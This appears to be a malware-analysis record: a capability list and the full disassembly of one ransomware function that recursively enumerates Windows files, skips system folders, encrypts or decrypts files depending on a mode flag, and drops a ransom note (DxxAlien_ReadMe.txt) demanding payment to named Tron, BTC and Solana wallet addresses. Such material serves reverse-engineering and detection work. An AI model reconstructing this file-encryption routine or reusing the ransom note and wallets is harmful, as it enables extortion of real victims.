Function at 0x422260
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ac4
call fcn.004195a0
push ebx
mov eax, edx
mov ebx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
push esi
push edi
cmp ax, 0x65
jne 0x42228d
cmp byte [0x42c918], 0
je 0x42271d
push 0x1450
lea eax, [ebp - 0x1ac0]
push 0
push eax
call fcn.004023f0
mov eax, dword [0x429078]
mov ecx, ebx
mov dword [ebp - 0x10], eax
add esp, 0xc
mov ax, word [0x42907c]
mov word [ebp - 0xc], ax
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4222c0
sub ecx, edx
sar ecx, 1
cmp ecx, 0x30c
ja 0x42271d
push 0x104
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [ebp - 0x670]
mov esi, eax
lea ecx, [eax - 0x61]
lea eax, [esi - 0x20]
cmp cx, 0x19
movzx edx, ax
mov ecx, esi
mov eax, esi
cmova edx, eax
movzx eax, word [ebx]
movzx edi, dx
mov edx, eax
add eax, 0xffffff9f
movzx ebx, ax
cmp ax, 0x19
mov eax, esi
jbe 0x422320
movzx esi, ax
cmp ebx, 0x19
lea eax, [edx - 0x20]
movzx ecx, ax
mov eax, edx
cmova ecx, eax
cmp di, cx
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
jne 0x4223ce
push str.Users
push esi
lea eax, [ebp - 0x468]
push str._c:_s
push eax
call edi
mov ebx, dword [ebp - 4]
add esp, 0x10
movzx eax, word [ebx]
mov esi, eax
mov ecx, eax
add ecx, 0xffffff9f
cmp cx, 0x19
lea eax, [esi - 0x20]
movzx edx, ax
mov eax, esi
cmova edx, eax
movzx eax, word [ebp - 0x468]
mov ecx, eax
mov word [ebx], dx
lea edx, [eax - 0x61]
lea eax, [ecx - 0x20]
cmp dx, 0x19
movzx esi, ax
mov eax, ecx
mov ecx, ebx
cmova esi, eax
mov word [ebp - 0x468], si
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4223a0
sub ecx, edx
sar ecx, 1
cmp ecx, 3
jbe 0x4223d1
lea eax, [ebp - 0x468]
push eax
push ebx
call fcn.00401dbc
add esp, 8
test eax, eax
je 0x42271d
jmp 0x4223d1
mov ebx, dword [ebp - 4]
push ebx
lea eax, [ebp - 0x1ac0]
push str._s.
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x1ac0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x42271d
mov ecx, dword [ebp - 0x670]
lea eax, [ecx - 0x61]
cmp ax, 0x19
ja 0x42241a
lea eax, [ecx - 0x20]
movzx edi, ax
jmp 0x42241d
movzx edi, cx
movzx eax, word [ebx]
mov esi, eax
mov ecx, eax
add ecx, 0xffffff9f
cmp cx, 0x19
lea eax, [esi - 0x20]
movzx edx, ax
mov eax, esi
cmova edx, eax
cmp di, dx
mov edx, dword [ebp - 0x260]
jne 0x42244a
cmp edx, 2
je 0x42264b
lea eax, [ebp - 0x234]
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x422453
sub eax, esi
sar eax, 1
cmp eax, 0xff
ja 0x42264b
cmp edx, 4
je 0x42264b
cmp edx, 0x10000
je 0x42264b
test dl, 0x10
je 0x422568
lea ecx, [ebp - 0xe]
lea eax, [ebp - 0x234]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4224ba
test dx, dx
je 0x4224b6
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4224ba
add eax, 4
add ecx, 4
test dx, dx
jne 0x422494
xor eax, eax
jmp 0x4224bf
sbb eax, eax
or eax, 1
test eax, eax
je 0x42264b
lea ecx, [ebp - 0x10]
lea eax, [ebp - 0x234]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4224f6
test dx, dx
je 0x4224f2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4224f6
add eax, 4
add ecx, 4
test dx, dx
jne 0x4224d0
xor eax, eax
jmp 0x4224fb
sbb eax, eax
or eax, 1
test eax, eax
je 0x42264b
xor eax, eax
push ebx
mov word [ebp - 0x1ac0], ax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
add esp, 0xc
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
add esp, 0xc
lea eax, [ebp - 0x1ac0]
push 0x4290a8
push 0x30c
push eax
call fcn.0040987c
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x1ac0]
add esp, 0xc
call fcn.00422260
jmp 0x422643
xor eax, eax
push ebx
mov word [ebp - 0x1ac0], ax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
add esp, 0xc
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
mov eax, dword [ebp - 8]
add esp, 0xc
cmp ax, 0x65
jne 0x422603
lea eax, [ebp - 0x1ac0]
push 0x428d2c
push eax
call fcn.00401dbc
add esp, 8
test eax, eax
jne 0x422643
lea eax, [ebp - 0x1ac0]
push str.DxxAlien_ReadMe.txt
push eax
call fcn.00401dbc
add esp, 8
test eax, eax
jne 0x422643
push ecx
lea ecx, [ebp - 0x1ac0]
call fcn.0041b5a0
add esp, 4
lea eax, [ebp - 0x1ac0]
push eax
push 0x4290ac
call fcn.00401040
add esp, 8
jmp 0x422643
cmp ax, 0x64
jne 0x422643
lea eax, [ebp - 0x1ac0]
push 0x428d2c
push eax
call fcn.00401dbc
add esp, 8
test eax, eax
je 0x422643
sub esp, 0x18
lea ecx, [ebp - 0x1ac0]
call fcn.0041b080
lea eax, [ebp - 0x1ac0]
push eax
push str.Decrypting_File_:__s_n
call fcn.00401040
add esp, 0x20
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x422403
push ebx
mov word [ebp - 0x1ac0], ax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
add esp, 0xc
lea eax, [ebp - 0x1ac0]
push str.DxxAlien_ReadMe.txt
push 0x30c
push eax
call fcn.0040987c
mov eax, dword [ebp - 8]
add esp, 0xc
cmp ax, 0x65
jne 0x4226ff
lea eax, [ebp - 0x1ac0]
push 0x429104
push eax
call fcn.0040b9fc
mov edi, eax
add esp, 8
test edi, edi
je 0x422714
xor esi, esi
nop dword [eax]
cmp byte [esi + str.Greetings_the__world._nYour_PC_is_under_my_control_and_all_your_files_are_encrypted_by__Franc_DC_and__xdragon234._Please_not_to_do_anything._You_may_lose_all_your_files_unexpectedly..._nJust_follow_me..._nPay_COIN_to_here_and_send_D.M._to_above_tg_users_then_decryption_key_will_be_returned..._Best_wishes..._nTHUyLcKktjpo2sgyjY5SjgpLdZpSCVkcMi_nBTC_Address:bc1qwd3v2wyv2eusqepwueggtwmusaqmtepfj4f49z_nSola:FAKBq6JxP68GVAfjcUd2pWChx64K4oBvbP4WPdMManhg_n], 0
lea ecx, [esi + str.Greetings_the__world._nYour_PC_is_under_my_control_and_all_your_files_are_encrypted_by__Franc_DC_and__xdragon234._Please_not_to_do_anything._You_may_lose_all_your_files_unexpectedly..._nJust_follow_me..._nPay_COIN_to_here_and_send_D.M._to_above_tg_users_then_decryption_key_will_be_returned..._Best_wishes..._nTHUyLcKktjpo2sgyjY5SjgpLdZpSCVkcMi_nBTC_Address:bc1qwd3v2wyv2eusqepwueggtwmusaqmtepfj4f49z_nSola:FAKBq6JxP68GVAfjcUd2pWChx64K4oBvbP4WPdMManhg_n]
je 0x4226e6
push edi
push 1
push 1
push ecx
call fcn.0040bf8b
inc esi
add esp, 0x10
cmp esi, 0x800
jl 0x4226c0
push edi
call fcn.0040bb4f
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ax, 0x64
jne 0x422714
lea eax, [ebp - 0x1ac0]
push eax
call fcn.00404b08
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret